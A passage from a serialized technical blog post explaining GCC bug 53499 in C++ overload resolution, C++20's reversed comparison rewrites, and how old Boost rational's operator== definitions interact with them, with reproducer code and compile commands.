accompanied by an update to the versions of dependencies in the documentation. As we'll soon see, that's what opened the trapdoor.",{"type":22,"tag":1398,"props":93730,"children":93731},{},[],{"type":22,"tag":53,"props":93733,"children":93735},{"id":93734},"part-i-a-12-year-old-g-bug-in-overload-resolution",[93736],{"type":27,"value":93737},"Part I: A 12-Year-Old G++ Bug in Overload Resolution",{"type":22,"tag":1760,"props":93739,"children":93741},{"id":93740},"whats-overload-resolution",[93742],{"type":27,"value":93743},"What’s Overload Resolution?",{"type":22,"tag":23,"props":93745,"children":93746},{},[93747,93749,93755,93757,93763,93765,93770,93772,93777,93779,93785,93787,93792,93793,93799],{"type":27,"value":93748},"In C++, when you write an expression like ",{"type":22,"tag":30,"props":93750,"children":93752},{"className":93751},[],[93753],{"type":27,"value":93754},"a == b",{"type":27,"value":93756},", the compiler chooses among available ",{"type":22,"tag":30,"props":93758,"children":93760},{"className":93759},[],[93761],{"type":27,"value":93762},"operator==",{"type":27,"value":93764}," implementations by comparing their ",{"type":22,"tag":9370,"props":93766,"children":93767},{},[93768],{"type":27,"value":93769},"match quality",{"type":27,"value":93771},". A ",{"type":22,"tag":9370,"props":93773,"children":93774},{},[93775],{"type":27,"value":93776},"member function",{"type":27,"value":93778}," like ",{"type":22,"tag":30,"props":93780,"children":93782},{"className":93781},[],[93783],{"type":27,"value":93784},"a.operator==(b)",{"type":27,"value":93786}," usually has higher priority than a ",{"type":22,"tag":9370,"props":93788,"children":93789},{},[93790],{"type":27,"value":93791},"non-member function",{"type":27,"value":93778},{"type":22,"tag":30,"props":93794,"children":93796},{"className":93795},[],[93797],{"type":27,"value":93798},"operator==(a, b)",{"type":27,"value":93800}," — unless the types differ too much or are ambiguous.",{"type":22,"tag":23,"props":93802,"children":93803},{},[93804],{"type":27,"value":93805},"That’s the rule. But G++ didn’t always follow it.",{"type":22,"tag":1760,"props":93807,"children":93809},{"id":93808},"the-bug",[93810],{"type":27,"value":93811},"The Bug",{"type":22,"tag":23,"props":93813,"children":93814},{},[93815,93817,93824],{"type":27,"value":93816},"In 2012, a bug was filed: ",{"type":22,"tag":80,"props":93818,"children":93821},{"href":93819,"rel":93820},"https://gcc.gnu.org/bugzilla/show_bug.cgi?id=53499",[84],[93822],{"type":27,"value":93823},"GCC Bug 53499 – overload resolution favors non-member function",{"type":27,"value":93825},". The issue? In expressions where:",{"type":22,"tag":6839,"props":93827,"children":93828},{},[93829,93849],{"type":22,"tag":6832,"props":93830,"children":93831},{},[93832,93834,93840,93842,93847],{"type":27,"value":93833},"A class ",{"type":22,"tag":30,"props":93835,"children":93837},{"className":93836},[],[93838],{"type":27,"value":93839},"rational\u003CT>",{"type":27,"value":93841}," has a templated ",{"type":22,"tag":30,"props":93843,"children":93845},{"className":93844},[],[93846],{"type":27,"value":93762},{"type":27,"value":93848}," member function",{"type":22,"tag":6832,"props":93850,"children":93851},{},[93852,93854,93860],{"type":27,"value":93853},"There's also a more generic free ",{"type":22,"tag":30,"props":93855,"children":93857},{"className":93856},[],[93858],{"type":27,"value":93859},"operator==(rational\u003CT>, U)",{"type":27,"value":42210},{"type":22,"tag":23,"props":93862,"children":93863},{},[93864],{"type":22,"tag":9370,"props":93865,"children":93866},{},[93867],{"type":27,"value":93868},"Clang correctly chooses the member function.",{"type":22,"tag":23,"props":93870,"children":93871},{},[93872],{"type":22,"tag":9370,"props":93873,"children":93874},{},[93875],{"type":27,"value":93876},"G++ (before v14) chooses the non-member function.",{"type":22,"tag":23,"props":93878,"children":93879},{},[93880,93882,93887,93889,93896],{"type":27,"value":93881},"Why? Because G++ mishandles ",{"type":22,"tag":9370,"props":93883,"children":93884},{},[93885],{"type":27,"value":93886},"templated conversion + non-exact match",{"type":27,"value":93888},", overvaluing a non-member function with worse match quality. It does not correctly apply the overload resolution ranking rules defined in ",{"type":22,"tag":80,"props":93890,"children":93893},{"href":93891,"rel":93892},"https://cplusplus.github.io/CWG/issues/532.html",[84],[93894],{"type":27,"value":93895},"CWG532: Member/nonmember operator template partial ordering",{"type":27,"value":231},{"type":22,"tag":1760,"props":93898,"children":93900},{"id":93899},"a-minimal-reproducer",[93901],{"type":27,"value":93902},"A Minimal Reproducer",{"type":22,"tag":23,"props":93904,"children":93905},{},[93906],{"type":27,"value":93907},"Let’s see this in action:",{"type":22,"tag":91,"props":93909,"children":93911},{"code":93910,"language":33111,"meta":7,"className":33109,"style":7},"#include \u003Ciostream>\n\ntemplate \u003Ctypename IntType>\nclass rational {\npublic:\n template \u003Cclass T>\n bool operator==(const T& i) const {\n std::cout \u003C\u003C \"clang++ resolved member\" \u003C\u003C std::endl;\n return true;\n }\n};\n\ntemplate \u003Cclass Arg, class IntType>\nbool operator==(const rational\u003CIntType>& a, const Arg& b) {\n std::cout \u003C\u003C \"g++ \u003C14 resolved non-member\" \u003C\u003C std::endl;\n return false;\n}\n\nint main() {\n rational\u003Cint> r;\n return r == 0;\n}\n",[93912],{"type":22,"tag":30,"props":93913,"children":93914},{"__ignoreMap":7},[93915,93928,93935,93960,93976,93984,94008,94053,94081,94096,94103,94110,94117,94153,94222,94247,94262,94269,94276,94292,94317,94341],{"type":22,"tag":101,"props":93916,"children":93917},{"class":103,"line":104},[93918,93923],{"type":22,"tag":101,"props":93919,"children":93920},{"style":3595},[93921],{"type":27,"value":93922},"#include",{"type":22,"tag":101,"props":93924,"children":93925},{"style":6476},[93926],{"type":27,"value":93927}," \u003Ciostream>\n",{"type":22,"tag":101,"props":93929,"children":93930},{"class":103,"line":157},[93931],{"type":22,"tag":101,"props":93932,"children":93933},{"emptyLinePlaceholder":15},[93934],{"type":27,"value":1581},{"type":22,"tag":101,"props":93936,"children":93937},{"class":103,"line":182},[93938,93942,93946,93951,93956],{"type":22,"tag":101,"props":93939,"children":93940},{"style":108},[93941],{"type":27,"value":5457},{"type":22,"tag":101,"props":93943,"children":93944},{"style":120},[93945],{"type":27,"value":12726},{"type":22,"tag":101,"props":93947,"children":93948},{"style":108},[93949],{"type":27,"value":93950},"typename",{"type":22,"tag":101,"props":93952,"children":93953},{"style":114},[93954],{"type":27,"value":93955}," IntType",{"type":22,"tag":101,"props":93957,"children":93958},{"style":120},[93959],{"type":27,"value":527},{"type":22,"tag":101,"props":93961,"children":93962},{"class":103,"line":367},[93963,93967,93972],{"type":22,"tag":101,"props":93964,"children":93965},{"style":108},[93966],{"type":27,"value":73915},{"type":22,"tag":101,"props":93968,"children":93969},{"style":114},[93970],{"type":27,"value":93971}," rational",{"type":22,"tag":101,"props":93973,"children":93974},{"style":120},[93975],{"type":27,"value":154},{"type":22,"tag":101,"props":93977,"children":93978},{"class":103,"line":398},[93979],{"type":22,"tag":101,"props":93980,"children":93981},{"style":108},[93982],{"type":27,"value":93983},"public:\n",{"type":22,"tag":101,"props":93985,"children":93986},{"class":103,"line":428},[93987,93992,93996,94000,94004],{"type":22,"tag":101,"props":93988,"children":93989},{"style":108},[93990],{"type":27,"value":93991}," template",{"type":22,"tag":101,"props":93993,"children":93994},{"style":120},[93995],{"type":27,"value":12726},{"type":22,"tag":101,"props":93997,"children":93998},{"style":108},[93999],{"type":27,"value":73915},{"type":22,"tag":101,"props":94001,"children":94002},{"style":114},[94003],{"type":27,"value":9954},{"type":22,"tag":101,"props":94005,"children":94006},{"style":120},[94007],{"type":27,"value":527},{"type":22,"tag":101,"props":94009,"children":94010},{"class":103,"line":997},[94011,94015,94020,94025,94029,94033,94037,94041,94045,94049],{"type":22,"tag":101,"props":94012,"children":94013},{"style":108},[94014],{"type":27,"value":50469},{"type":22,"tag":101,"props":94016,"children":94017},{"style":108},[94018],{"type":27,"value":94019}," operator",{"type":22,"tag":101,"props":94021,"children":94022},{"style":120},[94023],{"type":27,"value":94024},"==(",{"type":22,"tag":101,"props":94026,"children":94027},{"style":108},[94028],{"type":27,"value":13660},{"type":22,"tag":101,"props":94030,"children":94031},{"style":114},[94032],{"type":27,"value":9954},{"type":22,"tag":101,"props":94034,"children":94035},{"style":108},[94036],{"type":27,"value":985},{"type":22,"tag":101,"props":94038,"children":94039},{"style":126},[94040],{"type":27,"value":7435},{"type":22,"tag":101,"props":94042,"children":94043},{"style":120},[94044],{"type":27,"value":901},{"type":22,"tag":101,"props":94046,"children":94047},{"style":108},[94048],{"type":27,"value":13660},{"type":22,"tag":101,"props":94050,"children":94051},{"style":120},[94052],{"type":27,"value":154},{"type":22,"tag":101,"props":94054,"children":94055},{"class":103,"line":1032},[94056,94061,94066,94071,94076],{"type":22,"tag":101,"props":94057,"children":94058},{"style":120},[94059],{"type":27,"value":94060}," std::cout ",{"type":22,"tag":101,"props":94062,"children":94063},{"style":166},[94064],{"type":27,"value":94065},"\u003C\u003C",{"type":22,"tag":101,"props":94067,"children":94068},{"style":6476},[94069],{"type":27,"value":94070}," \"clang++ resolved member\"",{"type":22,"tag":101,"props":94072,"children":94073},{"style":166},[94074],{"type":27,"value":94075}," \u003C\u003C",{"type":22,"tag":101,"props":94077,"children":94078},{"style":120},[94079],{"type":27,"value":94080}," std::endl;\n",{"type":22,"tag":101,"props":94082,"children":94083},{"class":103,"line":1063},[94084,94088,94092],{"type":22,"tag":101,"props":94085,"children":94086},{"style":3595},[94087],{"type":27,"value":19742},{"type":22,"tag":101,"props":94089,"children":94090},{"style":108},[94091],{"type":27,"value":16473},{"type":22,"tag":101,"props":94093,"children":94094},{"style":120},[94095],{"type":27,"value":1520},{"type":22,"tag":101,"props":94097,"children":94098},{"class":103,"line":1071},[94099],{"type":22,"tag":101,"props":94100,"children":94101},{"style":120},[94102],{"type":27,"value":1734},{"type":22,"tag":101,"props":94104,"children":94105},{"class":103,"line":1110},[94106],{"type":22,"tag":101,"props":94107,"children":94108},{"style":120},[94109],{"type":27,"value":20576},{"type":22,"tag":101,"props":94111,"children":94112},{"class":103,"line":1118},[94113],{"type":22,"tag":101,"props":94114,"children":94115},{"emptyLinePlaceholder":15},[94116],{"type":27,"value":1581},{"type":22,"tag":101,"props":94118,"children":94119},{"class":103,"line":1158},[94120,94124,94128,94132,94137,94141,94145,94149],{"type":22,"tag":101,"props":94121,"children":94122},{"style":108},[94123],{"type":27,"value":5457},{"type":22,"tag":101,"props":94125,"children":94126},{"style":120},[94127],{"type":27,"value":12726},{"type":22,"tag":101,"props":94129,"children":94130},{"style":108},[94131],{"type":27,"value":73915},{"type":22,"tag":101,"props":94133,"children":94134},{"style":114},[94135],{"type":27,"value":94136}," Arg",{"type":22,"tag":101,"props":94138,"children":94139},{"style":120},[94140],{"type":27,"value":758},{"type":22,"tag":101,"props":94142,"children":94143},{"style":108},[94144],{"type":27,"value":73915},{"type":22,"tag":101,"props":94146,"children":94147},{"style":114},[94148],{"type":27,"value":93955},{"type":22,"tag":101,"props":94150,"children":94151},{"style":120},[94152],{"type":27,"value":527},{"type":22,"tag":101,"props":94154,"children":94155},{"class":103,"line":1166},[94156,94160,94164,94168,94172,94176,94180,94185,94189,94193,94197,94201,94205,94209,94213,94218],{"type":22,"tag":101,"props":94157,"children":94158},{"style":108},[94159],{"type":27,"value":33682},{"type":22,"tag":101,"props":94161,"children":94162},{"style":108},[94163],{"type":27,"value":94019},{"type":22,"tag":101,"props":94165,"children":94166},{"style":120},[94167],{"type":27,"value":94024},{"type":22,"tag":101,"props":94169,"children":94170},{"style":108},[94171],{"type":27,"value":13660},{"type":22,"tag":101,"props":94173,"children":94174},{"style":114},[94175],{"type":27,"value":93971},{"type":22,"tag":101,"props":94177,"children":94178},{"style":120},[94179],{"type":27,"value":123},{"type":22,"tag":101,"props":94181,"children":94182},{"style":114},[94183],{"type":27,"value":94184},"IntType",{"type":22,"tag":101,"props":94186,"children":94187},{"style":120},[94188],{"type":27,"value":14467},{"type":22,"tag":101,"props":94190,"children":94191},{"style":108},[94192],{"type":27,"value":985},{"type":22,"tag":101,"props":94194,"children":94195},{"style":126},[94196],{"type":27,"value":93343},{"type":22,"tag":101,"props":94198,"children":94199},{"style":120},[94200],{"type":27,"value":758},{"type":22,"tag":101,"props":94202,"children":94203},{"style":108},[94204],{"type":27,"value":13660},{"type":22,"tag":101,"props":94206,"children":94207},{"style":114},[94208],{"type":27,"value":94136},{"type":22,"tag":101,"props":94210,"children":94211},{"style":108},[94212],{"type":27,"value":985},{"type":22,"tag":101,"props":94214,"children":94215},{"style":126},[94216],{"type":27,"value":94217}," b",{"type":22,"tag":101,"props":94219,"children":94220},{"style":120},[94221],{"type":27,"value":1463},{"type":22,"tag":101,"props":94223,"children":94224},{"class":103,"line":1215},[94225,94230,94234,94239,94243],{"type":22,"tag":101,"props":94226,"children":94227},{"style":120},[94228],{"type":27,"value":94229}," std::cout ",{"type":22,"tag":101,"props":94231,"children":94232},{"style":166},[94233],{"type":27,"value":94065},{"type":22,"tag":101,"props":94235,"children":94236},{"style":6476},[94237],{"type":27,"value":94238}," \"g++ \u003C14 resolved non-member\"",{"type":22,"tag":101,"props":94240,"children":94241},{"style":166},[94242],{"type":27,"value":94075},{"type":22,"tag":101,"props":94244,"children":94245},{"style":120},[94246],{"type":27,"value":94080},{"type":22,"tag":101,"props":94248,"children":94249},{"class":103,"line":2425},[94250,94254,94258],{"type":22,"tag":101,"props":94251,"children":94252},{"style":3595},[94253],{"type":27,"value":20986},{"type":22,"tag":101,"props":94255,"children":94256},{"style":108},[94257],{"type":27,"value":13065},{"type":22,"tag":101,"props":94259,"children":94260},{"style":120},[94261],{"type":27,"value":1520},{"type":22,"tag":101,"props":94263,"children":94264},{"class":103,"line":5417},[94265],{"type":22,"tag":101,"props":94266,"children":94267},{"style":120},[94268],{"type":27,"value":188},{"type":22,"tag":101,"props":94270,"children":94271},{"class":103,"line":7714},[94272],{"type":22,"tag":101,"props":94273,"children":94274},{"emptyLinePlaceholder":15},[94275],{"type":27,"value":1581},{"type":22,"tag":101,"props":94277,"children":94278},{"class":103,"line":7723},[94279,94283,94288],{"type":22,"tag":101,"props":94280,"children":94281},{"style":108},[94282],{"type":27,"value":23037},{"type":22,"tag":101,"props":94284,"children":94285},{"style":926},[94286],{"type":27,"value":94287}," main",{"type":22,"tag":101,"props":94289,"children":94290},{"style":120},[94291],{"type":27,"value":19734},{"type":22,"tag":101,"props":94293,"children":94294},{"class":103,"line":7791},[94295,94300,94304,94308,94312],{"type":22,"tag":101,"props":94296,"children":94297},{"style":120},[94298],{"type":27,"value":94299}," rational",{"type":22,"tag":101,"props":94301,"children":94302},{"style":166},[94303],{"type":27,"value":123},{"type":22,"tag":101,"props":94305,"children":94306},{"style":108},[94307],{"type":27,"value":23037},{"type":22,"tag":101,"props":94309,"children":94310},{"style":166},[94311],{"type":27,"value":14467},{"type":22,"tag":101,"props":94313,"children":94314},{"style":120},[94315],{"type":27,"value":94316}," r;\n",{"type":22,"tag":101,"props":94318,"children":94319},{"class":103,"line":7799},[94320,94324,94329,94333,94337],{"type":22,"tag":101,"props":94321,"children":94322},{"style":3595},[94323],{"type":27,"value":20986},{"type":22,"tag":101,"props":94325,"children":94326},{"style":120},[94327],{"type":27,"value":94328}," r ",{"type":22,"tag":101,"props":94330,"children":94331},{"style":166},[94332],{"type":27,"value":4340},{"type":22,"tag":101,"props":94334,"children":94335},{"style":1544},[94336],{"type":27,"value":1547},{"type":22,"tag":101,"props":94338,"children":94339},{"style":120},[94340],{"type":27,"value":1520},{"type":22,"tag":101,"props":94342,"children":94343},{"class":103,"line":7829},[94344],{"type":22,"tag":101,"props":94345,"children":94346},{"style":120},[94347],{"type":27,"value":188},{"type":22,"tag":6839,"props":94349,"children":94350},{},[94351],{"type":22,"tag":6832,"props":94352,"children":94353},{},[94354],{"type":27,"value":94355},"Compile with g++\u003C14:",{"type":22,"tag":91,"props":94357,"children":94359},{"code":94358,"language":8287,"meta":7,"className":8288,"style":7},"g++ -std=c++17 main.cpp -o test && ./test\n",[94360],{"type":22,"tag":30,"props":94361,"children":94362},{"__ignoreMap":7},[94363],{"type":22,"tag":101,"props":94364,"children":94365},{"class":103,"line":104},[94366,94371,94376,94381,94386,94390,94395],{"type":22,"tag":101,"props":94367,"children":94368},{"style":926},[94369],{"type":27,"value":94370},"g++",{"type":22,"tag":101,"props":94372,"children":94373},{"style":6476},[94374],{"type":27,"value":94375}," -std=c++17",{"type":22,"tag":101,"props":94377,"children":94378},{"style":6476},[94379],{"type":27,"value":94380}," main.cpp",{"type":22,"tag":101,"props":94382,"children":94383},{"style":6476},[94384],{"type":27,"value":94385}," -o",{"type":22,"tag":101,"props":94387,"children":94388},{"style":6476},[94389],{"type":27,"value":34673},{"type":22,"tag":101,"props":94391,"children":94392},{"style":120},[94393],{"type":27,"value":94394}," && ",{"type":22,"tag":101,"props":94396,"children":94397},{"style":926},[94398],{"type":27,"value":94399},"./test\n",{"type":22,"tag":23,"props":94401,"children":94402},{},[94403],{"type":27,"value":94404},"Output (on g++ 11.4):",{"type":22,"tag":91,"props":94406,"children":94408},{"code":94407},"g++ \u003C14 resolved non-member\n",[94409],{"type":22,"tag":30,"props":94410,"children":94411},{"__ignoreMap":7},[94412],{"type":27,"value":94407},{"type":22,"tag":6839,"props":94414,"children":94415},{},[94416],{"type":22,"tag":6832,"props":94417,"children":94418},{},[94419],{"type":27,"value":94420},"Compile with clang++:",{"type":22,"tag":91,"props":94422,"children":94424},{"code":94423,"language":8287,"meta":7,"className":8288,"style":7},"clang++ -std=c++17 main.cpp -o test && ./test\n",[94425],{"type":22,"tag":30,"props":94426,"children":94427},{"__ignoreMap":7},[94428],{"type":22,"tag":101,"props":94429,"children":94430},{"class":103,"line":104},[94431,94436,94440,94444,94448,94452,94456],{"type":22,"tag":101,"props":94432,"children":94433},{"style":926},[94434],{"type":27,"value":94435},"clang++",{"type":22,"tag":101,"props":94437,"children":94438},{"style":6476},[94439],{"type":27,"value":94375},{"type":22,"tag":101,"props":94441,"children":94442},{"style":6476},[94443],{"type":27,"value":94380},{"type":22,"tag":101,"props":94445,"children":94446},{"style":6476},[94447],{"type":27,"value":94385},{"type":22,"tag":101,"props":94449,"children":94450},{"style":6476},[94451],{"type":27,"value":34673},{"type":22,"tag":101,"props":94453,"children":94454},{"style":120},[94455],{"type":27,"value":94394},{"type":22,"tag":101,"props":94457,"children":94458},{"style":926},[94459],{"type":27,"value":94399},{"type":22,"tag":23,"props":94461,"children":94462},{},[94463],{"type":27,"value":94464},"Output:",{"type":22,"tag":91,"props":94466,"children":94468},{"code":94467},"clang++ resolved member\n",[94469],{"type":22,"tag":30,"props":94470,"children":94471},{"__ignoreMap":7},[94472],{"type":27,"value":94467},{"type":22,"tag":23,"props":94474,"children":94475},{},[94476],{"type":27,"value":94477},"In short, the wrong function gets picked. G++ was broken here until v14.",{"type":22,"tag":1398,"props":94479,"children":94480},{},[],{"type":22,"tag":53,"props":94482,"children":94484},{"id":94483},"part-ii-c20s-symmetric-comparison-feature",[94485],{"type":27,"value":94486},"Part II: C++20’s Symmetric Comparison Feature",{"type":22,"tag":1760,"props":94488,"children":94490},{"id":94489},"what-changed-in-c20",[94491],{"type":27,"value":94492},"What Changed in C++20?",{"type":22,"tag":23,"props":94494,"children":94495},{},[94496,94498,94511,94512,94517],{"type":27,"value":94497},"C++20 introduced the ",{"type":22,"tag":80,"props":94499,"children":94502},{"href":94500,"rel":94501},"https://en.cppreference.com/w/cpp/language/operator_comparison",[84],[94503,94505],{"type":27,"value":94504},"spaceship operator ",{"type":22,"tag":30,"props":94506,"children":94508},{"className":94507},[],[94509],{"type":27,"value":94510},"\u003C=>",{"type":27,"value":209},{"type":22,"tag":9370,"props":94513,"children":94514},{},[94515],{"type":27,"value":94516},"defaulted comparison rewrites",{"type":27,"value":231},{"type":22,"tag":23,"props":94519,"children":94520},{},[94521,94523,94528],{"type":27,"value":94522},"When you define a two-argument ",{"type":22,"tag":30,"props":94524,"children":94526},{"className":94525},[],[94527],{"type":27,"value":93762},{"type":27,"value":94529},", C++20 may implicitly define the \"reversed\" version:",{"type":22,"tag":6839,"props":94531,"children":94532},{},[94533,94544],{"type":22,"tag":6832,"props":94534,"children":94535},{},[94536,94538],{"type":27,"value":94537},"If you define: ",{"type":22,"tag":30,"props":94539,"children":94541},{"className":94540},[],[94542],{"type":27,"value":94543},"bool operator==(T1, T2);",{"type":22,"tag":6832,"props":94545,"children":94546},{},[94547,94549,94555],{"type":27,"value":94548},"Then ",{"type":22,"tag":30,"props":94550,"children":94552},{"className":94551},[],[94553],{"type":27,"value":94554},"T2 == T1",{"type":27,"value":94556}," may call the same function by reversing the arguments.",{"type":22,"tag":23,"props":94558,"children":94559},{},[94560,94562,94567,94568,94573,94575,94581,94583,94588],{"type":27,"value":94561},"This rewrite is ",{"type":22,"tag":9370,"props":94563,"children":94564},{},[94565],{"type":27,"value":94566},"recursive",{"type":27,"value":19332},{"type":22,"tag":30,"props":94569,"children":94571},{"className":94570},[],[94572],{"type":27,"value":93754},{"type":27,"value":94574}," becomes ",{"type":22,"tag":30,"props":94576,"children":94578},{"className":94577},[],[94579],{"type":27,"value":94580},"b == a",{"type":27,"value":94582},", which becomes ",{"type":22,"tag":30,"props":94584,"children":94586},{"className":94585},[],[94587],{"type":27,"value":93754},{"type":27,"value":94589}," again, and so on — if not handled carefully.",{"type":22,"tag":23,"props":94591,"children":94592},{},[94593],{"type":27,"value":94594},"This is great for reducing boilerplate — unless the call becomes ambiguous or self-referential.",{"type":22,"tag":1398,"props":94596,"children":94597},{},[],{"type":22,"tag":53,"props":94599,"children":94601},{"id":94600},"part-iii-the-boost-trapdoor",[94602],{"type":27,"value":94603},"Part III: The Boost Trapdoor",{"type":22,"tag":23,"props":94605,"children":94606},{},[94607,94609,94615,94617,94622],{"type":27,"value":94608},"The old Boost ",{"type":22,"tag":30,"props":94610,"children":94612},{"className":94611},[],[94613],{"type":27,"value":94614},"rational",{"type":27,"value":94616}," class (prior to v1.75) defined both member function and non-member function of ",{"type":22,"tag":30,"props":94618,"children":94620},{"className":94619},[],[94621],{"type":27,"value":93762},{"type":27,"value":169},{"type":22,"tag":91,"props":94624,"children":94626},{"code":94625,"language":33111,"meta":7,"className":33109,"style":7},"template \u003Cclass Arg, class IntType>\ntemplate \u003Ctypename IntType>\nclass rational\n{\n ...\npublic:\n ...\n \n template \u003Cclass T>\n BOOST_CONSTEXPR typename boost::enable_if_c\u003Crational_detail::is_compatible_integer\u003CT, IntType>::value, bool>::type operator== (const T& i) const\n {\n return ((den == IntType(1)) && (num == i));\n }\n ...\n}\n\ntemplate \u003Cclass Arg, class IntType>\nBOOST_CONSTEXPR\ninline typename boost::enable_if_c \u003C\n rational_detail::is_compatible_integer\u003CArg, IntType>::value, bool>::type\n operator == (const Arg& b, const rational\u003CIntType>& a)\n{\n return a == b; \n}\n",[94627],{"type":22,"tag":30,"props":94628,"children":94629},{"__ignoreMap":7},[94630,94665,94688,94700,94707,94714,94721,94728,94735,94758,94846,94853,94904,94911,94918,94925,94932,94967,94975,95003,95042,95107,95114,95134],{"type":22,"tag":101,"props":94631,"children":94632},{"class":103,"line":104},[94633,94637,94641,94645,94649,94653,94657,94661],{"type":22,"tag":101,"props":94634,"children":94635},{"style":108},[94636],{"type":27,"value":5457},{"type":22,"tag":101,"props":94638,"children":94639},{"style":120},[94640],{"type":27,"value":12726},{"type":22,"tag":101,"props":94642,"children":94643},{"style":108},[94644],{"type":27,"value":73915},{"type":22,"tag":101,"props":94646,"children":94647},{"style":114},[94648],{"type":27,"value":94136},{"type":22,"tag":101,"props":94650,"children":94651},{"style":120},[94652],{"type":27,"value":758},{"type":22,"tag":101,"props":94654,"children":94655},{"style":108},[94656],{"type":27,"value":73915},{"type":22,"tag":101,"props":94658,"children":94659},{"style":114},[94660],{"type":27,"value":93955},{"type":22,"tag":101,"props":94662,"children":94663},{"style":120},[94664],{"type":27,"value":527},{"type":22,"tag":101,"props":94666,"children":94667},{"class":103,"line":157},[94668,94672,94676,94680,94684],{"type":22,"tag":101,"props":94669,"children":94670},{"style":108},[94671],{"type":27,"value":5457},{"type":22,"tag":101,"props":94673,"children":94674},{"style":120},[94675],{"type":27,"value":12726},{"type":22,"tag":101,"props":94677,"children":94678},{"style":108},[94679],{"type":27,"value":93950},{"type":22,"tag":101,"props":94681,"children":94682},{"style":114},[94683],{"type":27,"value":93955},{"type":22,"tag":101,"props":94685,"children":94686},{"style":120},[94687],{"type":27,"value":527},{"type":22,"tag":101,"props":94689,"children":94690},{"class":103,"line":182},[94691,94695],{"type":22,"tag":101,"props":94692,"children":94693},{"style":108},[94694],{"type":27,"value":73915},{"type":22,"tag":101,"props":94696,"children":94697},{"style":114},[94698],{"type":27,"value":94699}," rational\n",{"type":22,"tag":101,"props":94701,"children":94702},{"class":103,"line":367},[94703],{"type":22,"tag":101,"props":94704,"children":94705},{"style":120},[94706],{"type":27,"value":14886},{"type":22,"tag":101,"props":94708,"children":94709},{"class":103,"line":398},[94710],{"type":22,"tag":101,"props":94711,"children":94712},{"style":120},[94713],{"type":27,"value":24329},{"type":22,"tag":101,"props":94715,"children":94716},{"class":103,"line":428},[94717],{"type":22,"tag":101,"props":94718,"children":94719},{"style":108},[94720],{"type":27,"value":93983},{"type":22,"tag":101,"props":94722,"children":94723},{"class":103,"line":997},[94724],{"type":22,"tag":101,"props":94725,"children":94726},{"style":120},[94727],{"type":27,"value":24329},{"type":22,"tag":101,"props":94729,"children":94730},{"class":103,"line":1032},[94731],{"type":22,"tag":101,"props":94732,"children":94733},{"style":120},[94734],{"type":27,"value":942},{"type":22,"tag":101,"props":94736,"children":94737},{"class":103,"line":1063},[94738,94742,94746,94750,94754],{"type":22,"tag":101,"props":94739,"children":94740},{"style":108},[94741],{"type":27,"value":93991},{"type":22,"tag":101,"props":94743,"children":94744},{"style":120},[94745],{"type":27,"value":12726},{"type":22,"tag":101,"props":94747,"children":94748},{"style":108},[94749],{"type":27,"value":73915},{"type":22,"tag":101,"props":94751,"children":94752},{"style":114},[94753],{"type":27,"value":9954},{"type":22,"tag":101,"props":94755,"children":94756},{"style":120},[94757],{"type":27,"value":527},{"type":22,"tag":101,"props":94759,"children":94760},{"class":103,"line":1071},[94761,94766,94770,94775,94779,94783,94787,94792,94796,94800,94804,94808,94812,94816,94821,94825,94829,94833,94837,94841],{"type":22,"tag":101,"props":94762,"children":94763},{"style":120},[94764],{"type":27,"value":94765}," BOOST_CONSTEXPR ",{"type":22,"tag":101,"props":94767,"children":94768},{"style":108},[94769],{"type":27,"value":93950},{"type":22,"tag":101,"props":94771,"children":94772},{"style":120},[94773],{"type":27,"value":94774}," boost::enable_if_c\u003Crational_detail::is_compatible_integer\u003C",{"type":22,"tag":101,"props":94776,"children":94777},{"style":114},[94778],{"type":27,"value":840},{"type":22,"tag":101,"props":94780,"children":94781},{"style":120},[94782],{"type":27,"value":758},{"type":22,"tag":101,"props":94784,"children":94785},{"style":114},[94786],{"type":27,"value":94184},{"type":22,"tag":101,"props":94788,"children":94789},{"style":120},[94790],{"type":27,"value":94791},">::",{"type":22,"tag":101,"props":94793,"children":94794},{"style":114},[94795],{"type":27,"value":43146},{"type":22,"tag":101,"props":94797,"children":94798},{"style":120},[94799],{"type":27,"value":758},{"type":22,"tag":101,"props":94801,"children":94802},{"style":108},[94803],{"type":27,"value":33682},{"type":22,"tag":101,"props":94805,"children":94806},{"style":120},[94807],{"type":27,"value":94791},{"type":22,"tag":101,"props":94809,"children":94810},{"style":114},[94811],{"type":27,"value":36752},{"type":22,"tag":101,"props":94813,"children":94814},{"style":108},[94815],{"type":27,"value":94019},{"type":22,"tag":101,"props":94817,"children":94818},{"style":120},[94819],{"type":27,"value":94820},"== (",{"type":22,"tag":101,"props":94822,"children":94823},{"style":108},[94824],{"type":27,"value":13660},{"type":22,"tag":101,"props":94826,"children":94827},{"style":114},[94828],{"type":27,"value":9954},{"type":22,"tag":101,"props":94830,"children":94831},{"style":108},[94832],{"type":27,"value":985},{"type":22,"tag":101,"props":94834,"children":94835},{"style":126},[94836],{"type":27,"value":7435},{"type":22,"tag":101,"props":94838,"children":94839},{"style":120},[94840],{"type":27,"value":901},{"type":22,"tag":101,"props":94842,"children":94843},{"style":108},[94844],{"type":27,"value":94845},"const\n",{"type":22,"tag":101,"props":94847,"children":94848},{"class":103,"line":1110},[94849],{"type":22,"tag":101,"props":94850,"children":94851},{"style":120},[94852],{"type":27,"value":33186},{"type":22,"tag":101,"props":94854,"children":94855},{"class":103,"line":1118},[94856,94861,94866,94870,94874,94878,94882,94886,94890,94895,94899],{"type":22,"tag":101,"props":94857,"children":94858},{"style":3595},[94859],{"type":27,"value":94860}," return",{"type":22,"tag":101,"props":94862,"children":94863},{"style":120},[94864],{"type":27,"value":94865}," ((den ",{"type":22,"tag":101,"props":94867,"children":94868},{"style":166},[94869],{"type":27,"value":4340},{"type":22,"tag":101,"props":94871,"children":94872},{"style":926},[94873],{"type":27,"value":93955},{"type":22,"tag":101,"props":94875,"children":94876},{"style":120},[94877],{"type":27,"value":980},{"type":22,"tag":101,"props":94879,"children":94880},{"style":1544},[94881],{"type":27,"value":6813},{"type":22,"tag":101,"props":94883,"children":94884},{"style":120},[94885],{"type":27,"value":12844},{"type":22,"tag":101,"props":94887,"children":94888},{"style":166},[94889],{"type":27,"value":76702},{"type":22,"tag":101,"props":94891,"children":94892},{"style":120},[94893],{"type":27,"value":94894}," (num ",{"type":22,"tag":101,"props":94896,"children":94897},{"style":166},[94898],{"type":27,"value":4340},{"type":22,"tag":101,"props":94900,"children":94901},{"style":120},[94902],{"type":27,"value":94903}," 